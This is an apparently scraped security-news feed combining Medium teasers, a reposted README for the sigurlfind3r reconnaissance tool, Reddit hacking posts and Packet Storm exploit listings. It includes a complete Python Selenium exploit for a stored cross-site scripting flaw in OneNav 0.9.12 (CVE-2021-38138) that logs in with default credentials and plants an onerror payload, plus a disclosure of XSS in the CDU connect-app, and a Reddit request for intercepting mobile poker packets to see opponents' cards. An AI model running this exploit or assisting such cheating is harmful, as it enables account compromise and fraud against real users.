Hacking on Medium
O Paradoxo do Aniversário & Ataque Sweet32!

https://cdn-images-1.medium.com/max/600/1*h6PNbMHNJ7YdUtK2MZGG2Q.jpeg
O Paradoxo do Aniversário

Continue reading on Medium »

Hacking on Medium
Tomghost Walkthrough — TryHackMe — Most Descriptive

https://cdn-images-1.medium.com/max/1400/0*HVXaFNVi9tsouSi7.png
This is my first writeup on medium and on any machine. Apologies in advance if I made some mistakes…

Continue reading on Medium »

Sigurlfind3R - A Reconnaissance Tool, It Fetches URLs From AlienVault's OTX, Common Crawl, URLScan, Github And The Wayback Machine

sigurlfind3r is a passive reconnaissance tool, it fetches known URLs from AlienVault's OTX, Common Crawl, URLScan, Github and the Wayback Machine. DiSCLAIMER: fetching urls from github is a bit slow.Usage sigurlfind3r -h This will display help for the tool. _ _ _ _ _ _ _() \ _ _ _ _ _| |/ _()\ _ _| |_ / _ _/ _| |/ _` | | | | '_| | |_| | '_ \ / _` | |_ \| '_|\_ \ | (_| | |_| | | | | _| | | | | (| |) | ||_/_|\_, |\_,_|_| |_|_| |_|_| |_|\_,_|_/|_| v1.2.0 |_/USAGE: sigurlfind3r OPTIONSOPTIONS: -d, --domain domain to fetch urls for -eS, --exclude-sources comma(,) separated list of sources to exclude -f, --filter URL filtering regex -iS, --include-subs include subdomains' urls -lS, --list-sources list all the available sources -nC, --no-color no color mode -s --silent silent mode: output urls only -uS, --use-sources comma(,) separated list of sources to use Examples Basic sigurlfind3r -d tesla.com Include Subdomains sigurlfind3r -d tesla.com -is Regex filter out URLs sigurlfind3r -d tesla.com -f ".(jpg|jpeg|gif|png|ico|css|eot|tif|tiff|ttf|woff|woff2)" Installation From Binary You can download the pre-built binary for your platform from this repository's releases page, extract, then move it to your $PATHand you're ready to go. From Source sigurlfind3r requires go1.14+ to install successfully. Run the following command to get the repo GO111MODULE=on go get -u -v github.com/signedsecurity/sigurlfind3r/cmd/sigurlfind3r From Github git clone https://github.com/signedsecurity/sigurlfind3r.git && \cd sigurlfind3r/cmd/sigurlfind3r/ && \go build; mv sigurlfind3r /usr/local/bin/ && \sigurlfind3r -h Post Installation sigurlfind3r will work after installation. However, to configure sigurlfind3r to work with certain services - currently github - you will need to have setup API keys. The API keys are stored in the $HOME/.config/sigurlfind3r/conf.yaml file - created upon first run - and uses the YAML format. Multiple API keys can be specified for each of these services. Example: version: 1.1.0sources: - commoncrawl - github - otx - urlscan - waybackkeys: github: - d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39 - asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39 Contribution Issues and Pull Requests are welcome! Download Sigurlfind3R
Read more...

Find XSS in wide scope with kxss
https://sahandami.medium.com/find-xss-in-wide-scope-with-kxss-91f9573883c4?source=rss------bug_bounty-5

in this article we talk about automated testing to find xssContinue reading on Medium » (https://sahandami.medium.com/find-xss-in-wide-scope-with-kxss-91f9573883c4?source=rss------bug_bounty-5)

Sigurlfind3R - A Reconnaissance Tool, It Fetches URLs From AlienVault's OTX, Common Crawl, URLScan, Github And The Wayback Machine
http://www.kitploit.com/2021/08/sigurlfind3r-reconnaissance-tool-it.html

sigurlfind3r is a passive reconnaissance (https://www.kitploit.com/search/label/Reconnaissance) tool, it fetches known URLs from AlienVault's OTX (https://otx.alienvault.com/), Common Crawl (https://commoncrawl.org/), URLScan (https://urlscan.io/), Github (https://github.com/) and the Wayback Machine (https://archive.org/web/). DiSCLAIMER: fetching urls from github is a bit slow.
Usage
sigurlfind3r -h This will display help for the tool. _ _ __ _ _ _____
___(_) __ _ _ _ _ __| |/ _(_)_ __ __| |___ / _ __
/ __| |/ _` | | | | '__| | |_| | '_ \ / _` | |_ \| '__|
\__ \ | (_| | |_| | | | | _| | | | | (_| |___) | |
|___/_|\__, |\__,_|_| |_|_| |_|_| |_|\__,_|____/|_| v1.2.0
|___/

USAGE:
sigurlfind3r [OPTIONS]

OPTIONS:
-d, --domain domain to fetch urls for
-eS, --exclude-sources comma(,) separated list of sources to exclude
-f, --filter URL filtering regex
-iS, --include-subs include subdomains' urls
-lS, --list-sources list all the available sources
-nC, --no-color no color mode
-s --silent silent mode: output urls only
-uS, --use-sources comma(,) separated list of sources to use

Examples

Basic
sigurlfind3r -d tesla.com
Include Subdomains
sigurlfind3r -d tesla.com -is
Regex filter out URLs
sigurlfind3r -d tesla.com -f ".(jpg|jpeg|gif|png|ico|css|eot|tif|tiff|ttf|woff|woff2)"
Installation

From Binary
You can download the pre-built binary (https://www.kitploit.com/search/label/Binary) for your platform from this repository's releases (https://github.com/signedsecurity/sigurlfind3r/releases/) page, extract, then move it to your $PATHand you're ready to go.
From Source
sigurlfind3r requires go1.14+ to install successfully. Run the following command to get the repo GO111MODULE=on go get -u -v github.com/signedsecurity/sigurlfind3r/cmd/sigurlfind3r
From Github
git clone https://github.com/signedsecurity/sigurlfind3r.git && \
cd sigurlfind3r/cmd/sigurlfind3r/ && \
go build; mv sigurlfind3r /usr/local/bin/ && \
sigurlfind3r -h
Post Installation
sigurlfind3r will work after installation (https://github.com/signedsecurity/sigurlfind3r#installation). However, to configure sigurlfind3r to work with certain services - currently github - you will need to have setup API keys. The API keys are stored in the $HOME/.config/sigurlfind3r/conf.yaml file - created upon first run - and uses the YAML format. Multiple API keys can be specified for each of these services. Example: version: 1.1.0
sources:
- commoncrawl
- github
- otx
- urlscan
- wayback
keys:
github:
- d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39
- asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39
Contribution
Issues (https://github.com/signedsecurity/sigurlfind3r/issues) and Pull Requests (https://github.com/signedsecurity/sigurlfind3r/pulls) are welcome!

Download Sigurlfind3R (https://github.com/signedsecurity/sigurlfind3r)

hacking: security in practice
You can enjoy streaming your favorite Hulu shows in Canada without any hassle.

https://external-preview.redd.it/Z6BmOblFqkMS9yzQLQKdRq9-ohjr9rNIYuOJ72v6kT0.jpg?width=320&crop=smart&auto=webp&s=a1f8656349ec984400c284a6179fef5194164e19 submitted by /u/Affectionate-Fall520
[link] [comments]

hacking: security in practice
How to get packet from mobile game? (How to hack mobile game?)

Hello guys. I'm a student in computer science but I don't know anything about hacking.

Suddenly I wonder about mobile game hacking.

I think PC game is easier to get packet or do some stuff to hack because we can do many things in PC than mobile. (and there's wireshark.. or etc)

But If I want to hack mobile game where do I start?

Suppose, we play poker in mobile and I want to get packet to know other player's card.

In this situation, Is there any way to do it?

what's the process to do it?

submitted by /u/zxaq15
[link] [comments]

hacking: security in practice
Looks like Tempest attacks are back.

https://external-preview.redd.it/v4-A-5zuucQyOOnM5CuEarVR_hKgpvx9gv9P0brv0yg.jpg?width=640&crop=smart&auto=webp&s=d72107c20cea3e72f7893a9797eadfb94de77475 submitted by /u/AmokinKS
[link] [comments]

Exploit Collector
Microsoft Windows Malicious Software Removal Tool Privilege Escalation

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Microsoft Windows suffers from unsafe temporary directory use with the Malicious Software Removal Tool that can lead to elevation of privilege.

MD5 | 5aed3041b0a73a2779b0e3f52d9274ad

Download
Source:packetstormsecurity.com

Exploit Collector
OneNav Beta 0.9.12 Cross Site Scripting

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
OneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.

MD5 | 34f99bb0950d19e9ede342ffe3dfa648

Download
# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r
# Date: 08.06.2021
# Vendor: https://www.xiaoz.me/
# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12
# CVE: CVE-2021-38138

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: nu11secur1ty & g3ck0dr1v3r
# CVE-2021-38138

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/index.php?c=login"

#enter your login username
username="xiaoz"

#enter your login password
password="xiaoz.me"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="layui-btn"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D
time.sleep(3)
browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link"))
time.sleep(3)
browser.execute_script("document.querySelector('[name=\"url\"]').value = '
http://192.168.1.120/index.php?c=admin&page=add_link'")
time.sleep(3)
browser.execute_script("document.querySelector('[name=\"title\"]').value =
'
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
onerror=alert(1) />'")

#button1
browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()")
time.sleep(1)

# button2 using $ because querySelector cannot parse dd selector
browser.execute_script("$('dd[lay-value=19]').click()")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"description\"]').value
= '
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
onerror=alert(1) />'")

#submit button3
browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()")
time.sleep(1)
browser.maximize_window()
browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list"))

print("payload is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138
# Proof: https://streamable.com/ubtzio

Source:packetstormsecurity.com

Exploit Collector
Connect-app (CDU) 3.8 Cross Site Scripting

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
Connect-app (CDU) version 3.8 suffers from a cross site scripting vulnerability.

MD5 | 5e8f0dece41fa6f243684a5807ff1017

Download
app: connect-app (cdu) (version: 3.8)

cross-site scripting in the registration form name variables. Remote attackers can inject js payloads as name variables to exploit the frontend in the profile view and potentially execute in the backend via the preview. Uncertainty in validating object names in outbound emails, causing the context to be validated insecurely. This allows reflected execution in the message body of the email where the name variable is visible. You can see in the main validation how the developers have tried to parse and encode the content with backslashes and other characters. In this way, the type of validation can easily be bypassed by using simple frames with a source that points to a external link. We have tested this in the portal where the code is executed, we have tested it in the outgoing service emails that insert the name variably in the email body, and we have also tested the stored content that was submitted via the API. All contents was transmitted insecurely and can be manipulated to trigg
er simple cross-site scripting payloads, hijack user session credentials or manipulate outbound emails with reflected malicious content on the application side.

We decided to bring the issue directly to the public after the CDU opened a court case to criminalise a German hacker following a Whitehat report. Normally we wanted to report the vulnerabilities directly via Responsible Disclosure, but were deterred by incidents mentioned above. These did not stop us but we therefore chose another way to make noise.

ref: https://www.golem.de/news/connect-app-cdu-verklagt-offenbar-hackerin-nach-melden-von-luecken-2108-158647.html

ref: https://www.golem.de/news/connect-app-cdu-nimmt-wahlkampf-app-nach-datenleck-offline-2105-156471.html

greetz to cdu
by team smackback

Source:packetstormsecurity.com